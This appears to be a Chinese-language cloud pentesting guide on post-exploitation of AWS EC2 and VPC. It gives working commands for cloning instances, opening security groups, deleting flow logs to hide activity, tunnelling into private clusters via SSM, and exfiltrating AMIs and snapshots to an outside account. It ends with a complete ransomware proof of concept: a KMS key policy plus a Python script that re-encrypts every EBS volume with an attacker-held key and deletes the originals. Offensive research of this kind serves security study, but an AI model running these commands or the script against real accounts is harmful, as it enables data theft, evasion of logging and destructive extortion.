EC2 & VPC
有关更多信息,请查看:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum 恶意 VPC 镜像 - ec2:DescribeInstances
, ec2:RunInstances
, ec2:CreateSecurityGroup
, ec2:AuthorizeSecurityGroupIngress
, ec2:CreateTrafficMirrorTarget
, ec2:CreateTrafficMirrorSession
, ec2:CreateTrafficMirrorFilter
, ec2:CreateTrafficMirrorFilterRule
VPC 流量镜像 在 VPC 内为 EC2 实例复制入站和出站流量 ,无需在实例上安装任何东西。此复制的流量通常会发送到网络入侵检测系统 (IDS) 进行分析和监控。
攻击者可以利用这一点捕获所有流量并从中获取敏感信息:
有关更多信息,请查看此页面:
AWS - Malicious VPC Mirror 复制运行中的实例
实例通常包含某种敏感信息。有不同的方法可以进入(查看 EC2 权限提升技巧 )。然而,检查其内容的另一种方法是 创建一个 AMI 并从中运行一个新实例(即使在您自己的账户中) :
Copy # List instances
aws ec2 describe-images
# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1
# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1
# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1
# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1
# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01" --region eu-west-1
# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
EBS 快照转储
快照是卷的备份 ,通常会包含 敏感信息 ,因此检查它们应该会披露这些信息。
如果你发现一个 没有快照的卷 ,你可以:创建一个快照 并执行以下操作,或者直接 在账户内的实例中挂载它 :
AWS - EBS Snapshot Dump 数据外泄
DNS 外泄
即使你锁定了 EC2,使其无法发送流量,它仍然可以通过 DNS 外泄 。
通过将 "enableDnsSupport" 设置为 false 来禁用此功能:
aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>
通过 API 调用外泄
攻击者可以调用由他控制的账户的 API 端点。Cloudtrail 将记录这些调用,攻击者将能够在 Cloudtrail 日志中看到外泄的数据。
开放安全组
你可以通过打开端口来进一步访问网络服务,如下所示:
Copy aws ec2 authorize-security-group-ingress --group-id < sg-i d > --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
提权到 ECS
可以运行一个 EC2 实例并注册它以用于运行 ECS 实例,然后窃取 ECS 实例的数据。
有关更多信息,请查看此处 。
删除 VPC 流日志
Copy aws ec2 delete-flow-logs --flow-log-ids < flow_log_id s > --region < regio n >
SSM 端口转发
所需权限:
除了命令执行,SSM 还允许流量隧道,这可以被滥用以从由于安全组或 NACL 而没有网络访问的 EC2 实例进行转发。
这种情况有用的场景之一是从 Bastion Host 转发到私有 EKS 集群。
要开始会话,您需要安装 SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
在您的机器上安装 SessionManagerPlugin
Copy aws ssm start-session --target "$INSTANCE_ID"
将凭证转移到你自己的机器,存储在 $HOME/.aws/credentials
文件中,作为 [bastion-ec2]
配置文件
Copy aws eks update-kubeconfig --profile bastion-ec2 --region < EKS-CLUSTER-REGIO N > --name < EKS-CLUSTER-NAM E >
更新 $HOME/.kube/config
文件中的 server
字段,指向 https://localhost
Copy sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region < BASTION-INSTANCE-REGIO N >
现在,来自 kubectl
工具的流量通过 Bastion EC2 通过 SSM 隧道转发,您可以通过运行以下命令从自己的机器访问私有 EKS 集群:
Copy kubectl get pods --insecure-skip-tls-verify
注意,SSL 连接将失败,除非您设置 --insecure-skip-tls-verify
标志(或其在 K8s 审计工具中的等效项)。由于流量通过安全的 AWS SSM 隧道进行隧道传输,您可以免受任何类型的中间人攻击。
最后,这种技术并不特定于攻击私有 EKS 集群。您可以设置任意域和端口,以便转向任何其他 AWS 服务或自定义应用程序。
分享 AMI
Copy aws ec2 modify-image-attribute --image-id < image_I D > --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region < AWS_regio n >
在公共和私有 AMI 中搜索敏感信息
共享 EBS 快照
Copy aws ec2 modify-snapshot-attribute --snapshot-id < snapshot_I D > --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region < AWS_regio n >
EBS Ransomware PoC
一个类似于在 S3 后渗透笔记中演示的勒索软件演示的概念验证。KMS 应该被重命名为 RMS(勒索软件管理服务),因为使用它加密各种 AWS 服务是如此简单。
首先,从一个“攻击者”的 AWS 账户中,在 KMS 中创建一个客户管理密钥。在这个例子中,我们将让 AWS 为我管理密钥数据,但在现实场景中,恶意行为者会将密钥数据保留在 AWS 控制之外。更改密钥策略以允许任何 AWS 账户主体使用该密钥。对于这个密钥策略,账户的名称是 'AttackSim',允许所有访问的策略规则称为 'Outside Encryption'。
Copy {
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}
密钥策略规则需要启用以下内容,以便能够使用它来加密 EBS 卷:
kms:GenerateDataKeyWithoutPlainText
现在可以使用公开可访问的密钥。我们可以使用一个“受害者”账户,该账户有一些 EC2 实例启动,并附加了未加密的 EBS 卷。这个“受害者”账户的 EBS 卷是我们加密的目标,这次攻击是在假设高权限 AWS 账户被攻破的情况下进行的。
这导致账户中只剩下加密的 EBS 卷。
还值得注意的是,脚本停止了 EC2 实例,以分离和删除原始 EBS 卷。原始未加密的卷现在已经消失。
接下来,返回“攻击者”账户中的密钥策略,并从密钥策略中删除“外部加密”策略规则。
Copy {
"Version" : "2012-10-17" ,
"Id" : "key-consolepolicy-3" ,
"Statement" : [
{
"Sid" : "Enable IAM User Permissions" ,
"Effect" : "Allow" ,
"Principal" : {
"AWS" : "arn:aws:iam::[Your AWS Account Id]:root"
} ,
"Action" : "kms:*" ,
"Resource" : "*"
} ,
{
"Sid" : "Allow access for Key Administrators" ,
"Effect" : "Allow" ,
"Principal" : {
"AWS" : "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
} ,
"Action" : [
"kms:Create*" ,
"kms:Describe*" ,
"kms:Enable*" ,
"kms:List*" ,
"kms:Put*" ,
"kms:Update*" ,
"kms:Revoke*" ,
"kms:Disable*" ,
"kms:Get*" ,
"kms:Delete*" ,
"kms:TagResource" ,
"kms:UntagResource" ,
"kms:ScheduleKeyDeletion" ,
"kms:CancelKeyDeletion"
] ,
"Resource" : "*"
} ,
{
"Sid" : "Allow use of the key" ,
"Effect" : "Allow" ,
"Principal" : {
"AWS" : "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
} ,
"Action" : [
"kms:Encrypt" ,
"kms:Decrypt" ,
"kms:ReEncrypt*" ,
"kms:GenerateDataKey*" ,
"kms:DescribeKey"
] ,
"Resource" : "*"
} ,
{
"Sid" : "Allow attachment of persistent resources" ,
"Effect" : "Allow" ,
"Principal" : {
"AWS" : "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
} ,
"Action" : [
"kms:CreateGrant" ,
"kms:ListGrants" ,
"kms:RevokeGrant"
] ,
"Resource" : "*" ,
"Condition" : {
"Bool" : {
"kms:GrantIsForAWSResource" : "true"
}
}
}
]
}
等待新设置的密钥策略传播。然后返回到“受害者”账户,尝试附加一个新加密的EBS卷。你会发现你可以附加该卷。
但是当你尝试实际启动带有加密EBS卷的EC2实例时,它将失败,并且会从“待处理”状态永远返回到“已停止”状态,因为附加的EBS卷无法使用密钥解密,因为密钥策略不再允许。
这是使用的python脚本。它获取“受害者”账户的AWS凭证和用于加密的公开可用AWS ARN值。该脚本将对目标AWS账户中所有附加到所有EC2实例的可用EBS卷进行加密副本,然后停止每个EC2实例,分离原始EBS卷,删除它们,最后删除在此过程中使用的所有快照。这将只在目标“受害者”账户中留下加密的EBS卷。仅在测试环境中使用此脚本,它是破坏性的,并将删除所有原始EBS卷。你可以使用所使用的KMS密钥恢复它们,并通过快照将它们恢复到原始状态,但我只是想让你意识到,这在最终是一个勒索软件的概念验证。
Copy import boto3
import argparse
from botocore.exceptions import ClientError
def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes
def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids
def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])
def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']
volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids
def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']
if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")
except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")
def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")
def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")
def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)
def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed
def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()
def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)
instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)
if __name__ == "__main__":
main()